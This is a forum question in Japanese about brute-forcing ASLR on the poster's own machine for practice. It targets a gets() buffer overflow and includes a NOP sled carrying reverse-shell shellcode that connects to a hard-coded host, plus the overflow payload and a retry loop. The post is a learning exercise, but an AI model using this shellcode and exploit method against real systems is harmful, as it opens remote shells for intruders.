練習のために、自分のマシンで ASLR 実装をブルートフォースしようとしています。まず、ASLR がオンになっていることを確認します。
cat /proc/sys/kernel/randomize_va_space
1
私が使用しているマシンは次のとおりです:-
bt ~ # uname -a
Linux bt 2.6.20-BT-PwnSauce-NOSMP #3 Sat Feb 24 15:52:59 GMT 2007 i686 pentium3 i386 GNU/Linux
私のプログラムは次のように単純です。
bt ~ # cat t.c
#include<stdio.h>
int main(int argc, char **argv) {
char buffer[50];
gets(buffer);
return 0;
}
これを利用するために、次のように環境変数を作成します。ご覧のとおり、リバース シェルのエクスプロイト コードを含む非常に巨大な nop スレッドがあります。
export EGG=`perl -e 'print "\x90"x64000 . "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xac\x10\x00\x01\x66\x68\x11\x5c\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'`
次の C プログラムを使用して、環境変数のアドレスを見つけます。
int main(int argc, char **argv) {
printf("%p\n", getenv(argv[1]));
return 0;
}
としてアドレスを取得します0xbfefadfd
。
リターンアドレスのオーバーフローには76 bytes of something
+がかかることがわかりました4 bytes of the return address
。だから、私はブルートフォースするために: -
$ echo `perl -e 'print "A"x76 . "\xfd\xad\xef\xbf"'` > file
$ while true; do ./t < file; done
予想どおり、セグメンテーション違反のログは取得されますが、プログラムを約 30 分間実行した後でもリバース シェルは取得されません。ここで何か間違っていますか?